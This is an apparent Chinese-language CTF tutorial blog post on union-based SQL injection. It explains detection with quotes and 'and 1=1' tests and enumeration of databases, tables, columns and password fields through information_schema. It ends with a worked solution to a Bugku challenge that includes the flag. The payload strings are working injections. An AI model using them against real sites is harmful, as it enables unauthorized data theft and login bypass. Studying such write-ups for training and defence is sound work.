• CTF—WEB—sql注入之无过滤有回显最简单注入


    sql注入基础原理

    一、Sql注入简介

    Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

    二、Web 程序三层架构

    三层架构(3-tier architecture) 通常意义上就是将整个业务应用划分为:

    界面层(User Interface layer

    业务逻辑层(Business Logic Layer

    数据访问层(Data access layer)。

    区分层次的目的即为了高内聚低耦合的思想。在软件体系架构设计中,分层式结构是最常见,也是最重要的一种结构被应用于众多类型的软件开发。

    由数据库驱动的Web应用程序依从三层架构的思想也分为了三层:

    表示层。

    业务逻辑层(又称领域层)

    数据访问层(又称存储层)

    三、Sql 注入漏洞详解

     Sql 注入产生原因及威胁:

    Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。
    这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。

    Sql 注入带来的威胁主要有如下几点

    猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。

    绕过认证,列如绕过验证登录网站后台。

    注入可以借助数据库的存储过程进行提权等操作

    四、判断 Sql 注入点

    通常情况下,可能存在 Sql 注入漏洞的 Url 是类似这种形式 :

    http://xxx.xxx.xxx/abcd.php?id=XX

    Sql 注入的判断,主要有两个方面:

    · 判断该带参数的 Url 是否存在 Sql 注入?

    · 如果存在 Sql 注入,那么属于哪种 Sql 注入?

    可能存在 Sql 注入攻击的 ASP/PHP/JSP 动态网页中,一个动态网页中可能只有一个参数,有时可能有多个参数。有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的 动态网页且此网页访问了数据库,那么就有可能存在 Sql 注入。如果程序员没有足够的安全意识,没有进行必要的字符过滤,存在SQL注入的可能性就非常大。

    4.1 判断是否存在 Sql 注入漏洞

    最为经典的单引号判断法
    在参数后面加上单引号,比如:

    http://xxx/abc.php?id=1'

    如果页面返回错误,则存在 Sql 注入。
    原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
    (如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入

    4.2 判断 Sql 注入漏洞的类型

    通常 Sql 注入漏洞分为 2 种类型:

    · 数字型

    · 字符型

    其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。

    数字型判断:

    当输入的参 x 为整型时,通常 abc.php Sql 语句类型大致如下:
    select * from <表名> where id = x
    这种类型可以使用经典的 and 1=1  and 1=2 来判断:

    · 

    1. Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。

    · 

    1. Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

    原因如下:
    当输入 and 1=1时,后台执行 Sql 语句:

    select * from <表名> where id = x and 1=1 

    没有语法错误且逻辑判断为正确,所以返回正常。

    当输入 and 1=2时,后台执行 Sql 语句:

    select * from <表名> where id = x and 1=2

    没有语法错误但是逻辑判断为假,所以返回错误。
    我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:

    select * from <表名> where id = 'x and 1=1' 

    select * from <表名> where id = 'x and 1=2' 

    查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

    4.2.2 字符型判断:

    当输入的参 x 为字符型时,通常 abc.php SQL 语句类型大致如下:
    select * from <表名> where id = 'x'
    这种类型我们同样可以使用 and '1'='1  and '1'='2来判断:

    1. Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。

    1. Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。

    原因如下:
    当输入 and '1'='1时,后台执行 Sql 语句:

    select * from <表名> where id = 'x' and '1'='1'

    语法正确,逻辑判断正确,所以返回正确。

    当输入 and '1'='2时,后台执行 Sql 语句:

    select * from <表名> where id = 'x' and '1'='2'

    语法正确,但逻辑判断错误,所以返回正确。同学们同样可以使用假设法来验证

    5. 猜解数据库

    1.  1’order by #   

     

    此句后台为: select first_name,last_name FROM users WHERE user_id=’1’ order by 1# ’

    当输入order by 1时不报错那么我们可以尝试23456,直到报错为止,加入数字等于时候报错,那说明当前表只有两个字段并且只有两列。

    2.  0’ union select 1,2,3,4#

    验证列数

    3. 1’union select database(),user()#

    对应:select first_name,last_name FROM users WHERE user_id=’1’ union select

    database(),user()#;

    此语句将查询到用户名和数据库名

    4.  1’union select version(),@@version_compile_os#

    对应 SELECT first_name,last_name FROM users WHERE user_id=’1’ union select

    version(),@@version_compile_os#

    version() 获取当前数据库版本 

    @@version_compile_os 获取当前操作系统

    5. 1’ union select 1,2,table_name from information_schema.tables where table_schema=’xxx(库名)’#

    或执行

    1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’xxx(库名)’#

    实际执行:SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'xxx'#`;

    information_schema mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

    通过查询得到数据库表名

    6.    1’ union select column_name,x from information_schema.columns where  

    table_name=‘xx()表名’#

    爆出字段名

    7. 1’ union select ‘xx(字段名)’,2,3,4 from  xx表名) #

    查询最终数据

    8. 1’ union select user,password from  uers #

    实际语句是:  SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

    猜测users数据表里面的字段是user password

    例题:

    1.无过滤带回显的情况

    靶机:(bugku web——成绩单)

    http://123.206.87.240:8002/chengjidan/index.phphttp://123.206.87.240:8002/chengjidan/index.php

    手工注入

    在这一环境中的主要是通过post方式传入一个参数id来查询数据库内容。

    首先判断sql语句闭合方式 

    输入1’报错,1#正常,说明存在注入:

    1. 爆列名:1’order by 3/4/5 #  4之前 正常 5无显示,说明有4列。
    2.爆库名: 0’union select 1,2,3,database()#
    库名:skctf_flag

    3.爆表名: 0’union select 1,2,3,table_name from information_schema.tables where table_schema=’skctf_flag’ #

    表名:fl4g

    4爆字段名:0’union select 1,2,3,column_name from information_schema.columns where  
    table_name=’fl4g’  #

    字段名:skctf_flag

    6. 爆出关键字:  0' union select 1,2,3,skctf_flag from fl4g#

    BUGKU{Sql_INJECT0N_4813drd8hz4}

     

  • 相关阅读:
    BZOJ1527 : [POI2005]Pun-point
    2016-2017 ACM-ICPC Southwestern European Regional Programming Contest (SWERC 2016)
    2016-2017 ACM-ICPC Northwestern European Regional Programming Contest (NWERC 2016)
    NAIPC-2016
    BZOJ2498 : Xavier is Learning to Count
    ACM ICPC Vietnam National Second Round
    XVI Open Cup named after E.V. Pankratiev. GP of Ukraine
    XVI Open Cup named after E.V. Pankratiev. GP of Peterhof
    HDU5509 : Pattern String
    BZOJ4583 : 购物
  • 原文地址:https://www.cnblogs.com/zhaoyixiang/p/10974658.html
Copyright © 2020-2023  润新知